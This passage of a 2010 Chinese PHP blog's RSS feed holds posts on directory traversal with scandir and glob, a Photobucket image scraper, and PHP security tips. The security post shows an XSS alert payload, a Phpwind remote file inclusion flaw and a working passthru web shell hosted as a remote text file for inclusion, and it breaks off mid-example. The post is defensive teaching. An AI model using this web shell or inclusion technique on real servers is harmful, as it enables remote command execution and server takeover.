		<description><![CDATA[> 呵呵，小邪最近对操作文件比较感兴趣的说，所以咱们来把文件夹给遍历了，顺便生成个树。 > 我们要使用的函数有 Scandir，它的作用是列出指定路径中的文件和目录，就像 Dir 一样。 > 与更强力的 Glob() 函数，作用是以数组的形式返回与指定模式相匹配的文件名或目录。 > 友情提醒，千万别像小邪那样在电脑前面呆太长时间，否则就会像小邪一样得见鬼的高血糖。 一. 遍历单层文件夹： > 在扫描单层文件夹的问题是，两个函数的结果虽有不同，不过表现是相差不大的。 > Scandir 函数会提供额外两行，分别是 “.” 和 “..” ，而 Glob 则是没有的。 1 2 3 4 5 6 7 function get_dir_scandir&#40;&#41;&#123; $tree = array&#40;&#41;; foreach&#40;scandir&#40;'./'&#41; as $single&#41;&#123; echo $single.&#34;&#60;br/&#62;\r\n&#34;; &#125; &#125; get_dir_scandir&#40;&#41;; 1 2 3 4 5 6 7 function get_dir_glob&#40;&#41;&#123; [...]]]></description>
			<content:encoded><![CDATA[<p>> 呵呵，小邪最近对操作文件比较感兴趣的说，所以咱们来把文件夹给遍历了，顺便生成个树。<br />
> 我们要使用的函数有 Scandir，它的作用是列出指定路径中的文件和目录，就像 Dir 一样。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1150.jpg' /></p>
<p>> 与更强力的 Glob() 函数，作用是以数组的形式返回与指定模式相匹配的文件名或目录。<br />
> 友情提醒，千万别像小邪那样在电脑前面呆太长时间，否则就会像小邪一样得见鬼的高血糖。</p>
<p><span id="more-1899"></span><strong>一. 遍历单层文件夹：</strong></p>
<p>> 在扫描单层文件夹的问题是，两个函数的结果虽有不同，不过表现是相差不大的。<br />
> Scandir 函数会提供额外两行，分别是 “.” 和 “..” ，而 Glob 则是没有的。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> get_dir_scandir<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./'</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$single</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br/&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
get_dir_scandir<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> get_dir_glob<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">glob</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./*'</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$single</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br/&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
get_dir_glob<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>二. 递归遍历文件树：</strong></p>
<p>> 在递归扫描文件夹树的问题上，还是 Glob 函数的表现好一点，很准确的说。<br />
> Scandir 函数会莫名其妙扫描两次 ../ 处的文件，也就是说如果小邪有俩文件。<br />
> ../b.php 和 ../a.php，结果就会在扫描报告上面出现两次，很是奇怪。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #096;">//Update at 2010.07.25 - 以下代码作废</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'..'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> get_filetree_scandir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'../'</span><span style="color: #339933;">.</span><span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_merge</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tree</span><span style="color: #339933;">,</span>get_filetree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$tree</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'../'</span><span style="color: #339933;">.</span><span style="color: #000088;">$single</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$tree</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span>get_filetree_scandir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #096;">//Update at 2010.07.25 - 以下为新代码</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'./'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> get_filetree_scandir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">||!</span><span style="color: #990000;">is_readable</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span> <span style="color: #096;">//检测目录有效性</span>
	<span style="color: #000088;">$allfiles</span> <span style="color: #339933;">=</span> <span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">//获取目录下所有文件与文件夹</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$allfiles</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #096;">//遍历一遍目录下的文件与文件夹</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'..'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <span style="color: #096;">//无视 . 与 ..</span>
		<span style="color: #000088;">$fullname</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span> <span style="color: #096;">//得到完整文件路径</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fullname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #096;">//是目录的话继续递归</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$filename</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> get_filetree_scandir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$fullname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">//递归开始</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">;</span> <span style="color: #096;">//如果是文件，就存入数组</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$tmp</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #096;">//把临时数组的内容存入保存结果的数组</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">;</span> <span style="color: #096;">//这样可以让文件夹排前面，文件在后面</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span>get_filetree_scandir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>> Glob 函数扫描灰常准确，并且会自动按照字母排好顺序，貌似是最佳方案。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'..'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> get_filetree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">glob</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/*'</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$tree</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_merge</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tree</span><span style="color: #339933;">,</span>get_filetree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$single</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$tree</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$single</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$tree</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span>get_filetree<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>三. 附言：</strong></p>
<p>> 嘻嘻，小邪这里开始不和谐了，欢迎来墙。今天服务器很是不稳定呐，不知道怎么回事。<br />
> 据戈戈说貌似是线路不稳定，难道 G.fw 又开始乱搞了？！小邪是翻墙才写好文章的。</p>
<p>> 额，小邪今天去了下医院，无语，血糖指数竟然到正常人的三倍鸟，貌似快挂鸟，阿门。<br />
> 所以上午去了做饭前检查，下午又去做了饭后检查，结果昨天就没来得及写一下文章。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/16/scan-a-folder-in-php/feed/</wfw:commentRss>
		<slash:comments>67</slash:comments>
		</item>
		<item>
		<title>Photobucket抓取图片下载程序</title>
		<link>http://www.evlos.org/2010/01/14/photobucket-downloader/</link>
		<comments>http://www.evlos.org/2010/01/14/photobucket-downloader/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 15:38:52 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[小程序 [Lit Work]]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[photobucket]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1898</guid>
		<description><![CDATA[> 最近小邪抓取抓上瘾鸟，感觉 Curl 与 正则式 的组合很爽，╮(╯▽╰)╭，拦都拦不住自己呐。 > 所以今天小邪要送大家一个 Photobucket 抓取程序，可以很方便地抓取整个相册喔。 > 程序的运行过程是这个样子的，先读取相册页面，然后用正则式找到文件名与地址。 > 最后用 set_time_limit(0) 设置防止超时，并用 File_get_contents 函数把图片下载下来。 一. PBK Downloader 程序简介： > 在变量 album_url 里填上相册地址，然后在变量 album_pagen 里填上页数即可。 > 程序会自动生成一个 Img 文件夹，并将图片下载到里面，就完成咯，O(∩_∩)O 嘻嘻！ 1 2 $album_url = 'http://photobucket.com/images/avatar%20movie/'; //相册 $album_pagen = 1; //页数 二. 抓取实例： > 相册地址 - http://photobucket.com/images/avatar%20movie/ > 呵呵，小邪在页数那里只填了1页，然后就抓取下来咯。小邪文件名前面加了序号来着。 > 因为有些图片名字相同，但是内容却是不同的，所以这样子防止出现漏掉文件。 三. 源代码： [...]]]></description>
			<content:encoded><![CDATA[<p>> 最近小邪抓取抓上瘾鸟，感觉 Curl 与 正则式 的组合很爽，╮(╯▽╰)╭，拦都拦不住自己呐。<br />
> 所以今天小邪要送大家一个 Photobucket 抓取程序，可以很方便地抓取整个相册喔。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1141.jpg' /></p>
<p>> 程序的运行过程是这个样子的，先读取相册页面，然后用正则式找到文件名与地址。<br />
> 最后用 set_time_limit(0) 设置防止超时，并用 File_get_contents 函数把图片下载下来。</p>
<p><span id="more-1898"></span><strong>一. PBK Downloader 程序简介：</strong></p>
<p>> 在变量 album_url 里填上相册地址，然后在变量 album_pagen 里填上页数即可。<br />
> 程序会自动生成一个 Img 文件夹，并将图片下载到里面，就完成咯，O(∩_∩)O 嘻嘻！</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$album_url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://photobucket.com/images/avatar%20movie/'</span><span style="color: #339933;">;</span> <span style="color: #096;">//相册</span>
<span style="color: #000088;">$album_pagen</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #096;">//页数</span></pre></td></tr></table></div>

<p><strong>二. 抓取实例：</strong></p>
<p>> 相册地址 - <a target='_blank' rel='nofollow' href='http://photobucket.com/images/avatar%20movie/'>http://photobucket.com/images/avatar%20movie/</a></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1140.jpg' /></p>
<p>> 呵呵，小邪在页数那里只填了1页，然后就抓取下来咯。小邪文件名前面加了序号来着。<br />
> 因为有些图片名字相同，但是内容却是不同的，所以这样子防止出现漏掉文件。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1143.jpg' /></p>
<p><strong>三. 源代码：</strong></p>
<p>> 把下面两个变量填一下就好，小邪已经把超时设置为无限，但是如果出现意外状况。<br />
> 直接刷新接着来就好，程序如果发现已经下载了就不会下第二遍咯，O(∩_∩)O。</p>
<p>> <a target='_blank' rel='nofollow' href='http://code.google.com/p/evlosbox/downloads/detail?name=pbk_getpic.txt&#038;can=2&#038;q='>http://code.google.com/p/evlosbox/downloads/detail?name=pbk_getpic.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/14/photobucket-downloader/feed/</wfw:commentRss>
		<slash:comments>110</slash:comments>
		</item>
		<item>
		<title>简单讲解一下PHP编程的安全要点</title>
		<link>http://www.evlos.org/2010/01/11/safety-tips-for-php/</link>
		<comments>http://www.evlos.org/2010/01/11/safety-tips-for-php/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 18:35:51 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[PHP编程 [PHP Build]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1895</guid>
		<description><![CDATA[> PHP 的代码安全一直是一个重点，我们需要在存储数据的之前过滤，需要在读取之后转义。 > 以防范有可能出现的攻击。看这个图，人民网微博上线没多久就杯具鸟，╮(╯▽╰)╭。 > 最近又出现了 Phpwind 的几个漏洞，WP2.7 也有出现漏洞，QQMail 也出现XSS。 > P.s. 最近看了《神话》，吕素居然就这样挂了，杯具啊杯具，受不鸟，都不想继续看了。 一. PHP的一些安全要点： 1. 表单数据转意： > 一般来说，我们如果需要输出获取到的表单数据，输出之前一定要记得转义才好。 > 如果没有转义的话，就会出现漏洞，比如XSS。假设有一个未进行转义的留言本程序。 > 我们在一个输入框中写入以下的代码，代码是JS的一个警告窗口弹出效果。 1 &#60;script&#62;alert&#40;'站点已被占领 by XXX黑客团队'&#41;&#60;/script&#62; > 这样当大家浏览到这个留言本页面的时候就会弹出一个灰常简单又牛叉的窗口，哈哈。 > 比如下面这个是人民网微博闹出来的一个大乌龙，人民微博一上线就被群体爆菊了。 > 所以，我们需要将 "< " ">" 等一些被执行的入侵代码中包含的字符进行转义。 > 所以我们就需要用到函数 htmlspecialchars，很帅的函数 O(∩_∩)O。 > 这个函数会影响到的字符如下，这样子处理就可以正常查看而且不会被执行啦。 1 2 3 4 5 6 7 8 9 &#62; 1 [...]]]></description>
			<content:encoded><![CDATA[<p>> PHP 的代码安全一直是一个重点，我们需要在存储数据的之前过滤，需要在读取之后转义。<br />
> 以防范有可能出现的攻击。看这个图，人民网微博上线没多久就杯具鸟，╮(╯▽╰)╭。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/renminwang001.jpg' /></p>
<p>> 最近又出现了 Phpwind 的几个漏洞，WP2.7 也有出现漏洞，QQMail 也出现XSS。<br />
> P.s. 最近看了《神话》，吕素居然就这样挂了，杯具啊杯具，受不鸟，都不想继续看了。 </p>
<p><span id="more-1895"></span><strong>一. PHP的一些安全要点：</strong></p>
<p><strong>1. 表单数据转意：</strong></p>
<p>> 一般来说，我们如果需要输出获取到的表单数据，输出之前一定要记得转义才好。<br />
> 如果没有转义的话，就会出现漏洞，比如XSS。假设有一个未进行转义的留言本程序。<br />
> 我们在一个输入框中写入以下的代码，代码是JS的一个警告窗口弹出效果。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>alert<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'站点已被占领 by XXX黑客团队'</span><span style="color: #009900;">&#41;</span><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></pre></td></tr></table></div>

<p>> 这样当大家浏览到这个留言本页面的时候就会弹出一个灰常简单又牛叉的窗口，哈哈。<br />
> 比如下面这个是人民网微博闹出来的一个大乌龙，人民微博一上线就被群体爆菊了。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/renminwang002.jpg' /></p>
<p>> 所以，我们需要将 "< " ">" 等一些被执行的入侵代码中包含的字符进行转义。<br />
> 所以我们就需要用到函数 htmlspecialchars，很帅的函数 O(∩_∩)O。<br />
> 这个函数会影响到的字符如下，这样子处理就可以正常查看而且不会被执行啦。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">1</span> - <span style="color: #66cc66;">&amp;</span> （和号） 成为 <span style="color: #66cc66;">&amp;</span>amp<span style="color: #66cc66;">;</span>
<span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">2</span> - <span style="color: #483d8b;">&quot; （双引号） 成为 &amp;quot;
&gt; 3 - ' （单引号） 成为 &amp;#039;
&gt; 4 - &lt; （小于） 成为 &amp;lt;
&gt; 5 - &gt; （大于） 成为 &amp;gt;
&nbsp;
&gt; 1 - ENT_COMPAT - 默认。仅编码双引号
&gt; 2 - ENT_QUOTES - 编码双引号和单引号
&gt; 3 - ENT_NOQUOTES - 不编码任何引号</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #096;">//嘻嘻，用法就应该像下面这个样子呢。</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'psw'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>2. 远程包含漏洞：</strong></p>
<p>> 远程包含漏洞出现在 include() require() include_once() require_once() 中。<br />
> 因为这几个函数是可以像下面这个例子一样执行代码的，灰常牛叉的一种功能。</p>
<p>> 这是一个 Phpwind 爆出的漏洞，文件在 apps/groups/index.php。<br />
> 而出现的原因则是变量未初始化，$route 和 $basePath 都没有初始化。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$route</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;groups&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">require_once</span> <span style="color: #000088;">$basePath</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/action/m_groups.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$route</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;group&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">require_once</span> <span style="color: #000088;">$basePath</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/action/m_group.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$route</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;galbum&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">require_once</span> <span style="color: #000088;">$basePath</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/action/m_galbum.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>> 我们影响变量的值使其包含 http://www.evlos.org/action/m_galbum.php。<br />
> 一般来说远程包含PHP文件是需要不支持PHP的空间的，因为支持的话就会包含失败。<br />
> 也就是说，如果可以的话，远程包含一般是包含 m_galbum.txt 这样的文件。<br />
> 所以不支持PHP的空间显示PHP文件的时候，会直接显示源代码的，就等同于文本。</p>
<p><strong>3. 如何利用远程包含漏洞：</strong></p>
<p>> 简单举一个例子，我们把下面的文件保存为 command.txt 文件假设地址如下。<br />
> 类型为纯文本即可。http://tool.evlos.org/file/command.txt。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">get_magic_quotes_gpc</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cmd&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cmd&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">ini_set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;max_execution_time&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">passthru</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cmd&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>> 假设出现漏洞的文件是这个傻傻的样子，代码如下，O(∩_∩)O 嘎嘎。<br />
> 同时假设地址为 - http://tool.evlos.org/file/index.php。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
